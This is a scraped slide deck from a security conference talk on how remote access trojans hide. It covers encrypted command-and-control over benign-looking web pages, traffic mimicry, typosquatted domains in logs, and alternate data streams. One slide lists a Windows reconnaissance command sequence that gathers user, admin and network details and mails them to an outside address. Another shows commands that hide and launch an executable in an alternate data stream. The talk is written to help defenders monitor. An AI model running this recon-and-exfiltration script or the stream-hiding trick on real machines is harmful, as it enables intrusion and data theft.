CodeStock14: Hiding in Plain Sight

•

0 j'aime•4,932 vues

Rob Gillen

Presentation from

Technologie Design

HidinginPlainSight
Presentedby /RobGillen @argodev
Thisworkislicensedundera .
Thistalkandrelatedresourcesareavailableonline:
CreativeCommonsAttribution4.0InternationalLicense
https://github.com/argodev/talks/

Disclaimer
Thecontentofthispresentationrepresentsmypersonalviews
andthoughtsatthepresenttime.Ireservetherighttochange
myviewsandopinionsatanytime.Thiscontentisnotendorsed
by,orrepresentativeinanywayofmyemployernorisit
intendedtobeaviewintomyworkorareflectiononthetype
ofworkthatIormygroupperforms.Itissimplyahobbyand
personalinterestandshouldbeconsideredassuch.

Overview
RATDesign
Encryption
Command/Control(C2)
AntiVirus
Behavior

RATDesign
Exeisdroppedviainfectedpage
Querieswebpageforcommands
Performscommandsifnotdonepreviously
Periodicallypollsfornewcommands

Encryption
ComplexEncryptionistrivial
PBKDF–Scryptsequentialmemory-hardfunction
Manyiterations(>10K)
Longkey-lengths

EncryptionExample
Aboveconfigurationiscustom-hardwareresistant
Takesapproximately¼secondperguess

Command/Control
UseWeb2CApproach
Commandsare“issued”enmassevianormal,benignlooking
webpages
Commonports
LeveragesexistingHTML/serverconstructs

CommandText
ipconfig /all > %APPDATA%info.txt
net start >> %APPDATA%info.txt
tasklist /v >> %APPDATA%info.txt
net user >> %APPDATA%info.txt
net localgroup administrators >> %APPDATA%info.txt
netstat -ano >> %APPDATA%info.txt
net use >> %APPDATA%info.txt
copy %APPDATA%info.txt %APPDATA%output.pdf
del %APPDATA%info.txt
sendmail %APPDATA%output.pdf Status Update
“Jones, William E. wejones@yourorg.gov”
itebaffe-836@yopmail.com smtp.yourorg.gov
del %APPDATA%output.pdf

MimicUserBehavior
TrafficRates
Monitorincoming/outgoingnetworktrafficforXdays
ConfigurexfiltostaywithinX%of“normal”
C2
Exponential/randomizedstand-down
Onlycommduringperiodsofactivity

MimicUserBehavior
TargetURLs
Monitoroutgoingwebqueries/URLsforXdays
Usesimilardomainnamesformalicioustraffic
Appendsimilar/samequerystringstomaliciousrequests

HidinginLogs
v-client-5b.sjc.dropbox.com
snt-re3-9a.sjc.dropbox.com
yn-in-f125.1e100.net
l1.ycs.vip.dcb.yahoo.com
snt-re3-9a.sjc.drpbox.com
ip-69-31-29-228.nlayer.net
a23-47-20-211.deploy.static.akamaitechnologies.com
l3.ycs.vip.dcb.yahoo.com
ir2.fp.vip.bf1.yahoo.com
www.nbcnews.com.edgesuite.net
wac.946A.edgecastcdn.net
a2.twimg.com

OtherHidingTechniques
OfficeFilecontentembedding
Creativelocation
AlternateDataStreams
LeastSignificantBit
NetworkProtocolManipulation

AlternateDataStreams
FeatureofNTFSsinceNT3.5.1
Usedformetadataandcompatibilitywithotherfilesystems

SoWhat?
#notepad pcast-nitrd-report-2010.pdf:secret.txt

Whataboutthis?
#type evil.exe > notepad.exe:evil.exe
#start notepad.exe:evil.exe

CrudeImageStego:LSB
LeastSignificantBit–alteritandencodemessageacross
LSBthroughvariousbytes
Visuallyimperceptible
Computationallychallengingtodetect
Encryptionalsoanoption

CarrierImage
ImageData:
Size:2.1MB
Dimensions:
3500x2343px
Resolution:300dpi
BitDepth:24
~8Megapixel
“Secret”Message:
Welcome!Remember,
thingsaren’talways
whattheyseem.

NextSteps
Knowwhatyoucanandcan’tsee
Considerimplicationsofyourmonitoringstrategy
Behavior*must*playarole

Questions/Contact
RobGillen
rob@gillenfamily.net
http://rob.gillenfamily.net
@argodev
Thistalkandrelatedresourcesareavailableonline:
https://github.com/argodev/talks/

Contenu connexe

Similaire à CodeStock14: Hiding in Plain Sight

Github github-githubfusion2011

Trends in Enterprise DevOps (August 2020)Daniel Hurst

SOA.2020Diego Pacheco

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...André Goliath

Blue team reboot - HackFest Haydn Johnson

API-First Design and DjangoKlaus Peter Laube

10 Reasons Your Software Sucks - Election 2012 EditionCaleb Jenkins

Dirigible @ SkyscannerJordan Pavlov

X-celerate 2019: Iterating fast with the MERN StackHaufe-Lexware GmbH & Co KG

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. JavaJan Stamer

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibileBeMyApp

Jaap Groeneveld - Software Engineering PrinciplesJaapGroeneveld2

Gauravsing sisodiyaGauravsingh Sisodiya

NoOps for noobs; why i think Devs do not need OpsGeert van der Cruijsen

What Web Framework To Use?Kasra Khosravi

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...apidays

AI: Your Personal InternJoe Brinkman

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...Burr Sutter

Notes (2012-06-08)Chris Pitt

Similaire à CodeStock14: Hiding in Plain Sight (20)

Github github-github

Trends in Enterprise DevOps (August 2020)

SOA.2020

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...

Blue team reboot - HackFest

API-First Design and Django

10 Reasons Your Software Sucks - Election 2012 Edition

Dirigible @ Skyscanner

X-celerate 2019: Iterating fast with the MERN Stack

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. Java

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibile

Jaap Groeneveld - Software Engineering Principles

Gauravsing sisodiya

NoOps for noobs; why i think Devs do not need Ops

What Web Framework To Use?

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...

AI: Your Personal Intern

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...

Notes (2012-06-08)

Plus de Rob Gillen

How well do you know your runtimeRob Gillen

Software defined radio and the hackerRob Gillen

So whats in a passwordRob Gillen

Hiding in plain sightRob Gillen

DevLink - WiFu: You think your wireless is secure?Rob Gillen

You think your WiFi is safe?Rob Gillen

Anatomy of a Buffer Overflow AttackRob Gillen

Intro to GPGPU with CUDA (DevLink)Rob Gillen

AWS vs. AzureRob Gillen

A Comparison of AWS and Azure - Part2Rob Gillen

A Comparison of AWS and Azure - Part 1Rob Gillen

Intro to GPGPU Programming with CudaRob Gillen

Scaling Document Clustering in the CloudRob Gillen

Hands On with Amazon Web Services (StirTrek)Rob Gillen

Windows Azure: Lessons From The FieldRob Gillen

Amazon Web Services for the .NET DeveloperRob Gillen

05561 Xfer Research 02Rob Gillen

05561 Xfer Research 01Rob Gillen

05561 Xfer Consumer 01Rob Gillen

Cloud Storage Upload Tests 02Rob Gillen

Plus de Rob Gillen (20)

How well do you know your runtime

Software defined radio and the hacker

So whats in a password

Hiding in plain sight

DevLink - WiFu: You think your wireless is secure?

You think your WiFi is safe?

Anatomy of a Buffer Overflow Attack

Intro to GPGPU with CUDA (DevLink)

AWS vs. Azure

A Comparison of AWS and Azure - Part2

A Comparison of AWS and Azure - Part 1

Intro to GPGPU Programming with Cuda

Scaling Document Clustering in the Cloud

Hands On with Amazon Web Services (StirTrek)

Windows Azure: Lessons From The Field

Amazon Web Services for the .NET Developer

05561 Xfer Research 02

05561 Xfer Research 01

05561 Xfer Consumer 01

Cloud Storage Upload Tests 02

Dernier

🐬 The future of MySQL is Postgres 🐘RTylerCroy

Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia

Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung

08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls

TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc

The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge

Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsRoshan Dwivedi

Salesforce Community Group Quito, Salesforce 101Paola De la Torre

Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2

From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software

04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG

Boost PC performance: How more available memory can improve productivityPrincipled Technologies

A Call to Action for Generative AI in 2024Results

Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko

Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j

Developing An App To Navigate The Roads of BrazilV3cube

Partners Life - Insurer Innovation Award 2024The Digital Insurer

The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad

08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls

Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays

Dernier (20)

🐬 The future of MySQL is Postgres 🐘

Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...

Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...

08448380779 Call Girls In Diplomatic Enclave Women Seeking Men

TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments

The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf

Top 5 Benefits OF Using Muvi Live Paywall For Live Streams

Salesforce Community Group Quito, Salesforce 101

Exploring the Future Potential of AI-Enabled Smartphone Processors

From Event to Action: Accelerate Your Decision Making with Real-Time Automation

04-2024-HHUG-Sales-and-Marketing-Alignment.pptx

Boost PC performance: How more available memory can improve productivity

A Call to Action for Generative AI in 2024

Handwritten Text Recognition for manuscripts and early printed texts

Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...

Developing An App To Navigate The Roads of Brazil

Partners Life - Insurer Innovation Award 2024

The Codex of Business Writing Software for Real-World Solutions 2.pptx

08448380779 Call Girls In Greater Kailash - I Women Seeking Men

Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...

CodeStock14: Hiding in Plain Sight

1. HidinginPlainSight Presentedby /RobGillen @argodev Thisworkislicensedundera . Thistalkandrelatedresourcesareavailableonline: CreativeCommonsAttribution4.0InternationalLicense https://github.com/argodev/talks/

2. Disclaimer Thecontentofthispresentationrepresentsmypersonalviews andthoughtsatthepresenttime.Ireservetherighttochange myviewsandopinionsatanytime.Thiscontentisnotendorsed by,orrepresentativeinanywayofmyemployernorisit intendedtobeaviewintomyworkorareflectiononthetype ofworkthatIormygroupperforms.Itissimplyahobbyand personalinterestandshouldbeconsideredassuch.

4. HTDCS HelpdeskTicketDrivenCyberSecurity

7. Overview RATDesign Encryption Command/Control(C2) AntiVirus Behavior

8. RATDesign Exeisdroppedviainfectedpage Querieswebpageforcommands Performscommandsifnotdonepreviously Periodicallypollsfornewcommands

9. Encryption ComplexEncryptionistrivial PBKDF–Scryptsequentialmemory-hardfunction Manyiterations(>10K) Longkey-lengths

10. EncryptionExample Aboveconfigurationiscustom-hardwareresistant Takesapproximately¼secondperguess

11. Command/Control UseWeb2CApproach Commandsare“issued”enmassevianormal,benignlooking webpages Commonports LeveragesexistingHTML/serverconstructs

12.

13.

14.

15. CommandText ipconfig /all > %APPDATA%info.txt net start >> %APPDATA%info.txt tasklist /v >> %APPDATA%info.txt net user >> %APPDATA%info.txt net localgroup administrators >> %APPDATA%info.txt netstat -ano >> %APPDATA%info.txt net use >> %APPDATA%info.txt copy %APPDATA%info.txt %APPDATA%output.pdf del %APPDATA%info.txt sendmail %APPDATA%output.pdf Status Update “Jones, William E. wejones@yourorg.gov” itebaffe-836@yopmail.com smtp.yourorg.gov del %APPDATA%output.pdf

16. MimicUserBehavior TrafficRates Monitorincoming/outgoingnetworktrafficforXdays ConfigurexfiltostaywithinX%of“normal” C2 Exponential/randomizedstand-down Onlycommduringperiodsofactivity

17. MimicUserBehavior TargetURLs Monitoroutgoingwebqueries/URLsforXdays Usesimilardomainnamesformalicioustraffic Appendsimilar/samequerystringstomaliciousrequests

18. HidinginLogs v-client-5b.sjc.dropbox.com snt-re3-9a.sjc.dropbox.com yn-in-f125.1e100.net l1.ycs.vip.dcb.yahoo.com snt-re3-9a.sjc.drpbox.com ip-69-31-29-228.nlayer.net a23-47-20-211.deploy.static.akamaitechnologies.com l3.ycs.vip.dcb.yahoo.com ir2.fp.vip.bf1.yahoo.com www.nbcnews.com.edgesuite.net wac.946A.edgecastcdn.net a2.twimg.com

19. OtherHidingTechniques OfficeFilecontentembedding Creativelocation AlternateDataStreams LeastSignificantBit NetworkProtocolManipulation

20.

21.

22.

23.

24.

25.

26. CreativeFileLocations

27. AlternateDataStreams FeatureofNTFSsinceNT3.5.1 Usedformetadataandcompatibilitywithotherfilesystems